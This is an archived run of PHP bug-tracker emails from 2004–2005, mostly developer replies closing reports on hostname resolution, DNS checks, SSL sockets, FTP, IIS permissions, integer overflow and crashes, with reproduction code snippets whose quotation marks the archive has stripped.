Edit this bug report at http://bugs.php.net/?id=31923edit=1


#31923 [Bgs]: file_get_contents() does not accept urls containing hypen period -.

2005-02-12 Thread pollita
 ID:   31923
 Updated by:   [EMAIL PROTECTED]
 Reported By:  mike-bugs dot php dot net at webheat dot co dot uk
 Status:   Bogus
 Bug Type: Filesystem function related
 Operating System: Linux
 PHP Version:  4.3.10
 New Comment:

I have an ugly solution, it's a very rudimentary HTTP/1.0 client which
relies on the fact that deviantart.com uses a wildcard to direct
*.deviantart.com to the same IP address.

It also relies on the fact that they're not doing any kind of 3xx
redirection (at least as far as I could tell).  I wouldn't be surprised
if you need to do some work on this function to make it work *well* for
you.

function http_get_contents($url) {
  $resource = parse_url($url);

  $ip = gethostbyname('dummy.deviantart.com');
  $sock = fsockopen($ip, 80);
  if (!$sock) return false;

  fwrite($sock, GET {$resource['path']}?{$resource['query']}
HTTP/1.0\r\n);
  fwrite($sock, Host: {$resource['host']}\r\n);
  fwrite($sock, Connection: close\r\n\r\n);

  $response = fgets($sock, 8192);
  if (substr($response, 0, 3) != 200) return '';

  /* Skip headers */
  while (trim(fgets($sock, 8192)));

  $ret = '';
  while (!feof($sock)) {
$ret .= fgets($sock, 8192);
  }

  return $ret;
}


That's PHP4/5 compliant.  If you're only worried about PHP5
compatability you can do:

$context =
stream_context_create(array('http'=array('proxy'='tcp://dummy.deviantart.com')));

$data = file_get_context($url, false, $context);

Which does *essentially* the same thing, but since it's a proper http
wrapper takes care of the 3xx and other shortcommings of the userspace
version I gave you above.


Previous Comments:


[2005-02-12 23:24:21] mike-bugs dot php dot net at webheat dot co dot
uk

Thank you Pollita. That's a lot clearer.
Do you have any suggestions for a work around for this issue?



[2005-02-12 17:52:10] [EMAIL PROTECTED]

gethostbyname() (Used by the network streams code among other parts of
PHP) treats this correctly according to RFC specification.

I can see this statement being inobvious.  I mean the gehostbyname()
function defined by the host systems standard C library.  You
assumption that PHP's network code does not attempt to validate the
hostname before passing it on to the the system for resolution.  It
works on some systems because on those systems the value is encoded
into a DNS packet and sent to the DNS server unmangled.  On other
systems, a validation check is performed first and if it doesn't pass,
then it doesn't bother waiting for a network round trip, instead simply
returning a failure.



[2005-02-12 17:17:11] mike-bugs dot php dot net at webheat dot co dot
uk

Thanks Magnus.

This does explain possible behaviour but doesn't explain why 2 Windows
PHP installs work fine but 2 Linux PHP installs (as installed by my
hosting company) do not.

This seems to imply that file_get_contents() doesn't validate the DNS
compliance of the arguement.

Also referring to the previously note from Pollita, as forgiving as the
browser maybe the DNS servers involved in the lookup of
http://mark-.deviantart.com are the ones that are dealing with this
more so from what I know.
The deviantart.com DNS server software also seems to be forgiving, not
just of look ups of this kind but of creating new record of this kind
too, as the DNS entry would have been created when the user mark-
signed up his account with Deviantart.com



[2005-02-12 06:21:56] [EMAIL PROTECTED]

It should be RFC883 (page 56) not RFC833.
http://www.faqs.org/rfcs/rfc883.html

The labels must follow the rules for ARPANET host names.  They must
start with a letter, end with a letter or digit, and have as interior
characters only letters, digits, and hyphen.




[2005-02-12 00:02:20] mike-bugs dot php dot net at webheat dot co dot
uk

If this is the case it does not explain why it works on two
machines(installed by me)and not on two otheres (installed by my
hosting company).

Btw, could you post a link to the RFD you are quoting from. I searched
on Google and found an RFC entitled Who talks TCP?

Thanks



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/31923

-- 
Edit this bug report at http://bugs.php.net/?id=31923edit=1


#31923 [Bgs]: file_get_contents() does not accept urls containing hypen period -.

2005-02-12 Thread pollita
 ID:   31923
 Updated by:   [EMAIL PROTECTED]
 Reported By:  mike-bugs dot php dot net at webheat dot co dot uk
 Status:   Bogus
 Bug Type: Filesystem function related
 Operating System: Linux
 PHP Version:  4.3.10
 New Comment:

Correction:
$context =
stream_context_create(array('http'=array('proxy'='tcp://dummy.deviantart.com:80')));

Forgot the port number :)


Previous Comments:


[2005-02-13 02:21:43] [EMAIL PROTECTED]

I have an ugly solution, it's a very rudimentary HTTP/1.0 client which
relies on the fact that deviantart.com uses a wildcard to direct
*.deviantart.com to the same IP address.

It also relies on the fact that they're not doing any kind of 3xx
redirection (at least as far as I could tell).  I wouldn't be surprised
if you need to do some work on this function to make it work *well* for
you.

function http_get_contents($url) {
  $resource = parse_url($url);

  $ip = gethostbyname('dummy.deviantart.com');
  $sock = fsockopen($ip, 80);
  if (!$sock) return false;

  fwrite($sock, GET {$resource['path']}?{$resource['query']}
HTTP/1.0\r\n);
  fwrite($sock, Host: {$resource['host']}\r\n);
  fwrite($sock, Connection: close\r\n\r\n);

  $response = fgets($sock, 8192);
  if (substr($response, 0, 3) != 200) return '';

  /* Skip headers */
  while (trim(fgets($sock, 8192)));

  $ret = '';
  while (!feof($sock)) {
$ret .= fgets($sock, 8192);
  }

  return $ret;
}


That's PHP4/5 compliant.  If you're only worried about PHP5
compatability you can do:

$context =
stream_context_create(array('http'=array('proxy'='tcp://dummy.deviantart.com')));

$data = file_get_context($url, false, $context);

Which does *essentially* the same thing, but since it's a proper http
wrapper takes care of the 3xx and other shortcommings of the userspace
version I gave you above.



[2005-02-12 23:24:21] mike-bugs dot php dot net at webheat dot co dot
uk

Thank you Pollita. That's a lot clearer.
Do you have any suggestions for a work around for this issue?



[2005-02-12 17:52:10] [EMAIL PROTECTED]

gethostbyname() (Used by the network streams code among other parts of
PHP) treats this correctly according to RFC specification.

I can see this statement being inobvious.  I mean the gehostbyname()
function defined by the host systems standard C library.  You
assumption that PHP's network code does not attempt to validate the
hostname before passing it on to the the system for resolution.  It
works on some systems because on those systems the value is encoded
into a DNS packet and sent to the DNS server unmangled.  On other
systems, a validation check is performed first and if it doesn't pass,
then it doesn't bother waiting for a network round trip, instead simply
returning a failure.



[2005-02-12 17:17:11] mike-bugs dot php dot net at webheat dot co dot
uk

Thanks Magnus.

This does explain possible behaviour but doesn't explain why 2 Windows
PHP installs work fine but 2 Linux PHP installs (as installed by my
hosting company) do not.

This seems to imply that file_get_contents() doesn't validate the DNS
compliance of the arguement.

Also referring to the previously note from Pollita, as forgiving as the
browser maybe the DNS servers involved in the lookup of
http://mark-.deviantart.com are the ones that are dealing with this
more so from what I know.
The deviantart.com DNS server software also seems to be forgiving, not
just of look ups of this kind but of creating new record of this kind
too, as the DNS entry would have been created when the user mark-
signed up his account with Deviantart.com



[2005-02-12 06:21:56] [EMAIL PROTECTED]

It should be RFC883 (page 56) not RFC833.
http://www.faqs.org/rfcs/rfc883.html

The labels must follow the rules for ARPANET host names.  They must
start with a letter, end with a letter or digit, and have as interior
characters only letters, digits, and hyphen.




The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/31923

-- 
Edit this bug report at http://bugs.php.net/?id=31923edit=1


#31923 [Opn-Bgs]: file_get_contents() does not accept urls containing hypen period -.

2005-02-11 Thread pollita
 ID:   31923
 Updated by:   [EMAIL PROTECTED]
 Reported By:  mike-bugs dot php dot net at webheat dot co dot uk
-Status:   Open
+Status:   Bogus
 Bug Type: Filesystem function related
 Operating System: Linux
 PHP Version:  4.3.10
 New Comment:

Please refer to RFC833 Appendix 1.

Hyphens may not appear at the start or end of a label.

gethostbyname() (Used by the network streams code among other parts of
PHP) treats this correctly according to RFC specification.  Your
browser is simply more forgiving.


Previous Comments:


[2005-02-11 08:53:38] mike-bugs dot php dot net at webheat dot co dot
uk

The urls are as an example, http://emdeeuk.deviantart.com/ does work.
The url that identified the problem is: http://mark-.deviantart.com/
A hyphen is valid in DNS.



[2005-02-11 04:44:02] [EMAIL PROTECTED]

Those urls of yours don't work even in browser, why should they
magically work in PHP?? (is - valid in DNS anyway?)





[2005-02-11 01:59:34] mike-bugs dot php dot net at webheat dot co dot
uk

Description:

A script I created ( http://webheat.co.uk/forumbuddy.php ) takes a
username for the site DeviantArt.com which forms parts of the user's
section of the site. The url takes the form of:
http://USERID.deviantart.com/

The script grabs one or more pages by using the file_get_contents()
function.
Regardless of whether I use urlencode()/rawurlencode() and urldecode()
the file_get_contents() function chokes with the error as detailed
below.

This only happens when the userid ends in a hypen.
After some testing it seems to be that this is because the hyphen is
then next to a period -.

This hyphen period combination causes an error regardless of where it
is placed in the user id.


This issue happens on my host's server but not on two other [Windows]
machines I've tested this code on.

The hosting company have gone through their php.ini file on my behalf
and whilst the file is not vanilla there are no differences that they
can see would affect this fuction.

Reproduce code:
---
The relevant code is as follows:
file_get_contents(http://emdeeuk-.deviantart.com;); //Doesn't work

file_get_contents(http://emdee-.uk.deviantart.com;); //Doesn't work

file_get_contents(http://emdeeuk.deviantart.com;); //Does work


The full code can be viewed here:
http://webheat.co.uk/forumbuddytest.php.txt

Expected result:

a href=http://www.deviantart.com/deviation/14935843/;Dogs on
Kites/a
a href=http://www.deviantart.com/deviation/14935312/;Welcome to the
Rat Race/a
a href=http://www.deviantart.com/deviation/14934730/;Arc de
Bishopsgate/a
a href=http://www.deviantart.com/deviation/14592356/;PLEASE VOTE:
New Webheat.co.uk/a
a href=http://www.deviantart.com/deviation/14586143/;Docklands
Sunbathing/a
a href=http://www.deviantart.com/deviation/14556463/;Slide PSP8
Frame/a

a href=http://www.deviantart.com/deviation/14556193/;Whitechapel
Horse/a
a href=http://www.deviantart.com/deviation/14521593/;Action
Squirrel/a
a href=http://www.deviantart.com/deviation/14520802/;Beady Eye of
the Plottin Drake/a
a href=http://www.deviantart.com/deviation/14485015/;Light House
II/a
a href=http://www.deviantart.com/deviation/14377961/;Polaroid Photo
Frames/a
a href=http://www.deviantart.com/deviation/14217085/;Now where's the
Sphinx?/a

a href=http://www.deviantart.com/deviation/14213953/;Something in
the Aer/a
a href=http://www.deviantart.com/deviation/14125157/;I Sea
Gulls/a
a href=http://www.deviantart.com/deviation/14124660/;Coots really
get my Goose/a
a href=http://www.deviantart.com/deviation/13932181/;Spoonful of
sugar/a
a href=http://www.deviantart.com/deviation/13757002/;Ugly
Emotion/a
a href=http://www.deviantart.com/deviation/13729717/;Light
House/a

a href=http://www.deviantart.com/deviation/13729376/;Ilm Tree/a
a href=http://www.deviantart.com/deviation/13705596/;Only ugly on
the inside/a
a href=http://www.deviantart.com/deviation/13639781/;Lava
Lamponians/a
a
href=http://www.deviantart.com/deviation/13597782/;Generations/a
a href=http://www.deviantart.com/deviation/9434166/;Flame Mobile
Wallpaper/a
a href=http://www.deviantart.com/deviation/9421010/;Flame Body Work
Wallpaper/a 

Actual result:
--
Warning: file_get_contents(): php_network_getaddresses: getaddrinfo
failed: Name or service not known in
/home/webheat/public_html/forumbuddytest.php on line 6

Warning:
file_get_contents(http://USER-.deviantart.com/gallery/?view=3order=5limit=24offset=0):
failed to open stream: Permission denied in
/home/webheat/public_html/forumbuddytest.php on line 6





-- 
Edit this bug report at http://bugs.php.net/?id=31923edit=1


#31884 [Opn-WFx]: setting reference to $this in class method

2005-02-08 Thread pollita
 ID:   31884
 Updated by:   [EMAIL PROTECTED]
 Reported By:  camka at email dot ee
-Status:   Open
+Status:   Wont fix
 Bug Type: Zend Engine 2 problem
 Operating System: Linux
 PHP Version:  5.0.3
 New Comment:

$this is a special variable and is processed differently than other
variables.

Creating references to it simply won't work the way you're expecting it
to.


Previous Comments:


[2005-02-08 14:47:13] camka at email dot ee

Description:

When setting reference to $this object, using = operator in a class
method doesn't seem to work as expected (or my understanding is
completely wrong). When unsetting object outside of the class methods -
link breaks and won't unset the referenced objects.

Reproduce code:
---
?php 
class uu 
{ 
public $ref; 

public function set_me_as_ref(uu $whom) 
{ 
$whom-ref = $this; 
} 
} 

$obj1 = new uu(); 
$obj2 = new uu(); 

$obj2-set_me_as_ref($obj1); 

$obj2 = null; // this won't unset $obj1-ref, but unsets only $obj2
object 
// $obj1-ref = null; // this won't unset the $obj2 object, but unsets
only $obj1-ref 

echo 'pre'; 
var_dump($obj1, $obj2); 
? 

Expected result:

$obj1-ref is supposed to be null
$obje2 - is supposed to be null

Actual result:
--
$obj1-ref = living object
$obj2 = null





-- 
Edit this bug report at http://bugs.php.net/?id=31884edit=1


#31831 [Opn-Bgs]: require(thisfile.php) from the script names thisfile.php crash PHP

2005-02-03 Thread pollita
 ID:   31831
 Updated by:   [EMAIL PROTECTED]
 Reported By:  samm at os2 dot kiev dot ua
-Status:   Open
+Status:   Bogus
 Bug Type: Scripting Engine problem
 Operating System: FreeBSD 5.3
 PHP Version:  4.3.10
 New Comment:

Sorry, but your problem does not imply a bug in PHP itself.  For a
list of more appropriate places to ask for help using PHP, please
visit http://www.php.net/support.php as this bug system is not the
appropriate forum for asking support questions. 

Thank you for your interest in PHP.

Patient Doctor! It hurts when I do this!
Doctor Then don't do that.


Previous Comments:


[2005-02-03 19:41:04] samm at os2 dot kiev dot ua

Description:

To reproduce a problem create a script, named
1.php.
--- begin of the 1.php ---
? 

 echo .; 

 require(1.php); 

?   
--- eof ---
and run from cli or from browser.
Running from the CLI will produce output like:
[EMAIL PROTECTED]/htdocs: php 1.php
.
(core dumped)
Running gdb bt on produced core will show:
(gdb) bt
#0  0x28252c8c in strlcat () from /lib/libc.so.5
#1  0x281d4e41 in realpath () from /lib/libc.so.5
#2  0x080b8346 in virtual_file_ex ()
#3  0x080c00a6 in expand_filepath ()
#4  0x080c8b50 in _php_stream_fopen ()
#5  0x080c89ee in _php_stream_fopen_with_path ()
#6  0x080c95fd in php_plain_files_stream_opener ()
#7  0x080c9bf6 in _php_stream_open_wrapper_ex ()
#8  0x080c9e8e in _php_stream_open_wrapper_as_file_handle ()
#9  0x080ba272 in php_open_wrapper_for_zend ()
#10 0x080d314d in open_file_for_scanning ()
#11 0x080d332c in compile_file ()
#12 0x080d3506 in compile_filename ()
#13 0x08104fee in execute ()
[ ... same errors ]
#885 0x08105130 in execute ()
#886 0x080ec68c in zend_execute_scripts ()
#887 0x080bc7e7 in php_execute_script ()
#888 0x08109087 in main ()




Reproduce code:
---
? 

 echo .; 

 require(1.php); 

? 

Expected result:

Error, something like recursion in require, or smth. like this

Actual result:
--
core dumped.





-- 
Edit this bug report at http://bugs.php.net/?id=31831edit=1


#31743 [Opn-Bgs]: Shell_exec function problem with IIS

2005-01-29 Thread pollita
 ID:   31743
 Updated by:   [EMAIL PROTECTED]
 Reported By:  tril2632 at hotmail dot com
-Status:   Open
+Status:   Bogus
 Bug Type: IIS related
 Operating System: Win 2000 Pro
 PHP Version:  5.0.3
 New Comment:

Sorry, but your problem does not imply a bug in PHP itself.  For a
list of more appropriate places to ask for help using PHP, please
visit http://www.php.net/support.php as this bug system is not the
appropriate forum for asking support questions. 

Thank you for your interest in PHP.

Ask yourself this question:

What does that command output? I'm not referring to the action of the
window opening, but to the result returned from running that command at
a command prompt.

Now ask yourself:

Does the data (hint: or lack thereof) evaluate to TRUE or FALSE?

Under what conditions does the right-hand side of an OR operator
execute?  When the left-hand evaluates to TRUE or FALSE?


Previous Comments:


[2005-01-28 16:23:48] tril2632 at hotmail dot com

PS : with apache you must enable the service to interact with desktop
in order to work !!!



[2005-01-28 16:09:00] tril2632 at hotmail dot com

Description:

Hello

It's a mysterious problem.

When I try to execute my code I get the message error display so the
OR DIE message is printed BUT there is no error, my excel file is open
and everything work, so the function shouldn't execute the message in
or die because everything work !!!

I had to remove theOR DIE ('error');   in my code because php was
stopping the script but he shoul not ! 

Reproduce code:
---
shell_exec('cmd /C start c:\remarques.xls') OR DIE ('error');

Expected result:

My excel file should open.

Actual result:
--
The file is open, it's ok but PHP execute the message in the OR DIE
and he sould not because it works !!! there was no error !!!

And with apache 1.3.33 there is another problem with my code : the page
load indefinitely without anny error in the error log etc of apache !!!





-- 
Edit this bug report at http://bugs.php.net/?id=31743edit=1


#31741 [Opn-Bgs]: Error while opening remote file

2005-01-29 Thread pollita
 ID:   31741
 Updated by:   [EMAIL PROTECTED]
 Reported By:  rvk at au dot ru
-Status:   Open
+Status:   Bogus
 Bug Type: *Directory/Filesystem functions
 Operating System: Windows XP
 PHP Version:  5.0.3
 New Comment:

Sorry, but your problem does not imply a bug in PHP itself.  For a
list of more appropriate places to ask for help using PHP, please
visit http://www.php.net/support.php as this bug system is not the
appropriate forum for asking support questions. 

Thank you for your interest in PHP.

Under a default configuration, IIS runs as IUSER_YOURCOMPUTERNAME which
is a local users account with access rights on the local computer only. 
In order for IIS to access files on a remote computer it must have an
account on that remote computer with a matching username and password.

It works at the command line because it's using your account
credentials at that point.


Previous Comments:


[2005-01-28 15:48:31] rvk at au dot ru

Description:

I need to load .csv file from remote computer. When I run php like
command-line script - result found. Remote file opening and display
correctly, but when I run my php file at IIS, rarely! file opening
correctly. Browser display: failed to open stream: Permission denied
in  Remote file have readonly attributes and stored at computer
with Windows-98 operation system. At same time no one program will read
or write this file. The read rights on file set for everyone, not for
me only.
Catalog with this file shared for local intranet.
That may be wrong? 
 

Reproduce code:
---
$file = file(remote_computer_name\\catalog\\myfile.csv);
$file[0] = explode(,, $file[0]);
foreach($file[0] as $key = $field) echo $field.\n;

Expected result:

field_1
field_2
...
field_n

Actual result:
--
Warning: file(\\Mac2111\var\01_01_2005\arh_3.csv) [function.file]:
failed to open stream: Permission denied in
c:\Inetpub\wwwroot\php\get_fields.php on line 20





-- 
Edit this bug report at http://bugs.php.net/?id=31741edit=1


#30987 [Opn-Fbk]: checkdnsrr giving incorrect result

2004-12-06 Thread pollita
 ID:   30987
 Updated by:   [EMAIL PROTECTED]
 Reported By:  jmambo7 at yahoo dot com
-Status:   Open
+Status:   Feedback
 Bug Type: Network related
 Operating System: Linux
 PHP Version:  4.3.8
 New Comment:

The most likely cause for this is that your resolv settings are
configured to include a search domain for which a wilcard exists.  Try
appending a . to the end of hostnames which you wish to check to
prevent the search name from being appended.

i.e.

if (checkdnsrr(netvoice.com., ANY)) echo domain name has been
taken;
   else echo domain name is available;





Previous Comments:


[2004-12-05 20:51:22] jmambo7 at yahoo dot com

Description:

There are domains that checkdnsrr is reporting that they do not exist,
while when I search the domain names in several respectable domain
registration websites they indicate that the domain names exist. An
example is netvoice.com and ataz.com

Reproduce code:
---
  if (checkdnsrr(netvoice.com, ANY)) echo domain name has been
taken;
   else echo domain name is available;

Expected result:

I expect the code to tell me the domain name has been taken

Actual result:
--
The result is the domain name is available





-- 
Edit this bug report at http://bugs.php.net/?id=30987edit=1


#30970 [Opn-Csd]: 32bits not supported?

2004-12-02 Thread pollita
 ID:   30970
 Updated by:   [EMAIL PROTECTED]
 Reported By:  wboring at qualys dot com
-Status:   Open
+Status:   Closed
 Bug Type: Scripting Engine problem
 Operating System: linux
 PHP Version:  5.0.2
 New Comment:

Yes PHP supports 32-bit ints, but the higest bit is a sign, so the
largest meaningful int *IS* 0x7FFF, after that the number must be
expressed as a float, attempting to express as a long results in
undefined behavior.

5.0.2 introduced a patch to truncate float to lval conversion to no
more than 0x7FFF.  Don't worry, it's been reverted.  Take a look at
5.0.3RC1 or a snapshot from snaps.php.net



Previous Comments:


[2004-12-03 01:36:34] wboring at qualys dot com

If I do a simple var_dump( 0x8000 ); in php4 and 5 I get the same
result of float(2147483648).

If I try and do something like

$n ^= 0x8000;  //to flip the high bit, then it breaks.

?php 
  $n = -1979053311;
  var_dump( sprintf('%32b',$n).'  '.$n);
  $n ^= 0x8000; // flip the high (sign) bit
  var_dump( sprintf('%32b',$n).'  '.$n );
?

php4.3.9 : 
string(45) 10001010101010110001  -1979053311
string(43) 1010101010110001  168430337

php5.0.2 :
string(32) 10001010101010110001  -1979053311 
string(44) 0101010101001110 -168430338



[2004-12-03 00:46:39] wboring at qualys dot com

Description:

If I set an integer to a value of 0x8000, it works properly in
php4, but in php5 the value becomes 0x7FFF.


My configure line:
./configure \
--with-oci8=/u01/app/oracle/product/8.1.7 \
--enable-sigchild \
--with-mcrypt \
--with-gd \
--with-png-dir=/usr \
--with-jpeg-dir=/usr \
--with-zlib-dir=/usr \
--enable-sysvsem \
--enable-sysvshm \
--enable-shmop \
--with-xml \
--with-zlib \
--with-gdbm \
--with-dom \
--with-curl=/usr \
--with-mysql=/usr \
--enable-mbstring \
--enable-tokenizer \
--enable-sockets \
--with-kerberos=/usr/kerberos \
--with-openssl \
--disable-cgi \
--with-xsl \
--with-bz2 \
--with-mhash \
--enable-soap \
--with-flatfile \
--with-inifile \
--with-curlwrappers \
--with-apxs=/usr/local/apache/bin/apxs







Reproduce code:
---
?php
  $n = 0x8000;
  printf('%b', $n);
?


Expected result:

php4.3.9: 1000
php5.0.2: 1000
 

Actual result:
--
php4.3.9: 1000
php5.0.2: 111





-- 
Edit this bug report at http://bugs.php.net/?id=30970edit=1


#30765 [Csd-Bgs]: ssl over fopen vs fsockopen

2004-11-12 Thread pollita
 ID:   30765
 Updated by:   [EMAIL PROTECTED]
 Reported By:  kurt at milliganshome dot net
-Status:   Closed
+Status:   Bogus
 Bug Type: Network related
 Operating System: Linux
 PHP Version:  4.3.9
 New Comment:

Not a Bug == Bogus

And fwiw, That's not a completely valid HTTP/1.1 request.  You should
probably stick to HTTP/1.0 unless you plan to implement a full 1.1
client.




Previous Comments:


[2004-11-12 01:40:24] kurt at milliganshome dot net

I'm no longer certain this is a bug...seems to be working now. It was
very odd, tho. Sorry for any onconvenience.



[2004-11-11 23:34:34] kurt at milliganshome dot net

Description:

Hi All

Running php v4.3.9 on RH Linux 7.3  9.0 with openssl 0.9.7d.

I have noticed similar problems to Bug#23220, but have found that using
fopen works while using fsockopen does not.

// works ok!
$fd = fopen('https://www.somehost.com','r');
while(!feof($fd))
echo fgets($fd,1024);

// generates SSL: fatal protocol error
$fd = fsockopen('ssl://www.somehost.com',443);
fwrite($fd,GET / HTTP/1.1\r\nHost: www.somehost.com\r\nConnection:
Close\r\n\r\n);
while(!feof($fd))
echo fgets($fd,1024);


This would be OK if I didn't need to POST, but I do...anyone else
notice this? Is there some difference in the way that fgets operates
depending on whether it was opened via fopen or fsockopen?

I see the posting in bug#23220:

Note that due to the nature of the problem (eg: IIS being at
fault),there is no way for PHP to determine the difference between a
legitimate problem and a bogus IIS unless you are using the built-in
HTTP wrapper: we inspect the headers to determine if we should show the
warning or not.

So, if you are manually opening an SSL stream, you still need to
suppress the warning yourself based on the presence of Server:
Microsoft-IIS in the headers that you read. 

But I don't get any headers back; the script fails on the first fgets
call. If I'm missing something, please let me know.

Thanks!






-- 
Edit this bug report at http://bugs.php.net/?id=30765edit=1


#29054 [Asn-Fbk]: throw exception causes segfault

2004-10-02 Thread pollita
 ID:   29054
 Updated by:   [EMAIL PROTECTED]
 Reported By:  auslander at tampabay dot rr dot com
-Status:   Assigned
+Status:   Feedback
 Bug Type: Reproducible crash
 Operating System: Linux 2.6.5
 PHP Version:  5.0.0RC3
 Assigned To:  andi
 New Comment:

Please try using this CVS snapshot:

  http://snaps.php.net/php5-STABLE-latest.tar.gz
 
For Windows:
 
  http://snaps.php.net/win32/php5.0-win32-latest.zip

It's working with PHP_5_0 and HEAD...


Previous Comments:


[2004-07-26 18:57:59] not at valid dot boop

Should PHP5 have even been released without this being fixed first?!

Seems like any half-complex project (like mine) is going to choke on
this commonly case.

If you could add a comment with a likely fix-by date that'd be great.



[2004-07-08 09:01:14] [EMAIL PROTECTED]

Confirmed here, assigning to Andi.

valgrind says:
==25868==
==25868== Jump to the invalid address stated on the next line
==25868==at 0x2A8FCC84: ???
==25868==by 0x8313A25: zend_do_fcall_common_helper
(zend_execute.c:2728)
==25868==by 0x8313EA6: zend_do_fcall_by_name_handler
(zend_execute.c:2810)
==25868==by 0x831029E: execute (zend_execute.c:1391)
==25868==  Address 0x2A8FCC84 is not stack'd, malloc'd or free'd
==25868==

gdb says:
0x2a8fcc84 in ?? ()
(gdb) bt
#0  0x2a8fcc84 in ?? ()
#1  0x0831029f in execute (op_array=0x404e95a0)
at /dat/dev/php/php-5.0dev/Zend/zend_execute.c:1391
#2  0x08313a26 in zend_do_fcall_common_helper
(execute_data=0xbfffd520,
opline=0x404ec6e4, op_array=0x404e68cc)
at /dat/dev/php/php-5.0dev/Zend/zend_execute.c:2728
#3  0x08313ea7 in zend_do_fcall_by_name_handler
(execute_data=0xbfffd520,
opline=0x404ec6e4, op_array=0x404e68cc)
at /dat/dev/php/php-5.0dev/Zend/zend_execute.c:2810
#4  0x0831029f in execute (op_array=0x404e68cc)
at /dat/dev/php/php-5.0dev/Zend/zend_execute.c:1391
#5  0x082ec861 in zend_execute_scripts (type=8, retval=0x0,
file_count=3)
at /dat/dev/php/php-5.0dev/Zend/zend.c:1058
#6  0x082a6b83 in php_execute_script (primary_file=0xb960)
at /dat/dev/php/php-5.0dev/main/main.c:1630
#7  0x0831cd96 in main (argc=3, argv=0xba04)
at /dat/dev/php/php-5.0dev/sapi/cli/php_cli.c:943




[2004-07-07 23:19:31] auslander at tampabay dot rr dot com

Description:

throwing an exception causes a segfault.

test case 1:
created an object (A) within another object (B).  B calls
$this-A-close() then sets $this-A = null which calls
$this-A-__destruct() method which calls A-close() again.  on the
second call of A-close(), an exception is thrown which results in a
segfault.

test case 2:
when creating A directly, without going through another object, no
segfault happens, but still, no exception is thrown and no error.


Reproduce code:
---
http://gub.no-ip.org:8546/~auslander/bugtest.php.txt


Expected result:

expect no segfault and expect exception to be thrown/caught in both
test cases.

Actual result:
--
test case 1 output/backtrace
-
test 1
--
creating Bar object
Bar::__construct() called
Foo::__construct() called
closing Bar
Bar::close() called
Foo::close() called
Foo::__destruct() called
Foo::close() called
supposed to throw an exception here
Segmentation fault

#0  0x in ?? ()
#1  0x082039e3 in execute (op_array=0xf709f444)
at /usr/local/src/php-5.0.0RC3/Zend/zend_execute.c:1389
#2  0x08206a75 in zend_do_fcall_common_helper
(execute_data=0xfeeb09d0,
opline=0xf70a1340, op_array=0xf7096304)
at /usr/local/src/php-5.0.0RC3/Zend/zend_execute.c:2726
#3  0x08206d4c in zend_do_fcall_by_name_handler
(execute_data=0xf70a08c8,
opline=0xf70a1340, op_array=0xf7096304)
at /usr/local/src/php-5.0.0RC3/Zend/zend_execute.c:2808
#4  0x082039e3 in execute (op_array=0xf7096304)
at /usr/local/src/php-5.0.0RC3/Zend/zend_execute.c:1389
#5  0x081e9285 in zend_execute_scripts (type=8, retval=0x0,
file_count=3)
at /usr/local/src/php-5.0.0RC3/Zend/zend.c:1061
#6  0x081b753e in php_execute_script (primary_file=0xfeeb2db0)
at /usr/local/src/php-5.0.0RC3/main/main.c:1627
#7  0x0820e112 in main (argc=3, argv=0xfeeb2e74)
at /usr/local/src/php-5.0.0RC3/sapi/cli/php_cli.c:943

test case 2 output (no segfault/backtrace)
-
test 2
--
creating Foo object
Foo::__construct() called
closing Foo
Foo::close() called
setting Foo to null
Foo::__destruct() called
Foo::close() called
supposed to throw an exception here






-- 
Edit this bug report at http://bugs.php.net/?id=29054edit=1


#30195 [Opn-Fbk]: scandir etc cannot read Chinese file/folder name

2004-09-22 Thread pollita
 ID:   30195
 Updated by:   [EMAIL PROTECTED]
 Reported By:  percy at savant dot us
-Status:   Open
+Status:   Feedback
 Bug Type: *Directory/Filesystem functions
 Operating System: windows xp/2003
 PHP Version:  5CVS-2004-09-22 (dev)
 New Comment:

Not enough information was provided for us to be able
to handle this bug. Please re-read the instructions at
http://bugs.php.net/how-to-report.php

If you can provide more information, feel free to add it
to this bug and change the status back to Open.

Thank you for your interest in PHP.



Previous Comments:


[2004-09-22 17:05:05] percy at savant dot us

Description:

By using the opendir and readdir or scandir can only read English
file/folder name; unrecognised code for Chinese File and folder name.






-- 
Edit this bug report at http://bugs.php.net/?id=30195edit=1


#29110 [Csd-Bgs]: ftp_rawlist problem 'php_connect_nonb() failed: Connection refused'

2004-09-21 Thread pollita
 ID:   29110
 Updated by:   [EMAIL PROTECTED]
 Reported By:  fcurra at tecnonexo dot com
-Status:   Closed
+Status:   Bogus
 Bug Type: FTP related
 Operating System: Linux 2.4.25
 PHP Version:  4.3.7
 New Comment:

Not Bug = Bogus


Previous Comments:


[2004-09-21 14:27:26] fcurra at tecnonexo dot com

I finally found the solution of my problem. It wasn't a PHP Bug, but a
firewall miss configuration. I enabled 'accept connection' rule on high
ports (1024 to 65535) for that server, and that worked out. 

More about in : http://shorewall.net/FTP.html



[2004-07-12 20:17:23] fcurra at tecnonexo dot com

I'm not sure if IPv6 is involved. I don't see any reference in
phpinfo(), and PHP is not compiled with '--disable-ipv6'. By the way,
i'm passing an IP address.

Thanks



[2004-07-12 20:10:44] fcurra at tecnonexo dot com

result of var_dump(ftp_pasv($conn_id, true));
is bool(true)



[2004-07-12 19:16:54] [EMAIL PROTECTED]

Oh, and is there any IPv6 involved here?  (Take a look at phpinfo() to
see if it says IPv6 enabled)  Does the remote server support IPv6?  Are
you passing a hostname or an IP address?

If both ends are IPv6 capable, try connecting with an IPv4 address
(1.2.3.4 as opposed to ftp.foo.com) to see if it behaves properly.  



[2004-07-12 19:08:23] [EMAIL PROTECTED]

What is the return value of ftp_pasv()?

  var_dump(ftp_pasv($conn_id, true));



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/29110

-- 
Edit this bug report at http://bugs.php.net/?id=29110edit=1


#30099 [Opn-Bgs]: mysql_connect dont work on PHP5 + MYSQL5 + IIS6 + WIN 2003 SERVER

2004-09-15 Thread pollita
 ID:   30099
 Updated by:   [EMAIL PROTECTED]
 Reported By:  fivelfivel at yahoo dot se
-Status:   Open
+Status:   Bogus
 Bug Type: MySQL related
 Operating System: Windows 2003 Server
 PHP Version:  5.0.0
 New Comment:

Sorry, but your problem does not imply a bug in PHP itself.  For a
list of more appropriate places to ask for help using PHP, please
visit http://www.php.net/support.php as this bug system is not the
appropriate forum for asking support questions. 

Thank you for your interest in PHP.

MySQL is no longer enabled by default in the windows binary.  You must
manually add the extension=php_mysql.so entry to your php.ini.


Previous Comments:


[2004-09-16 00:26:23] fivelfivel at yahoo dot se

Description:

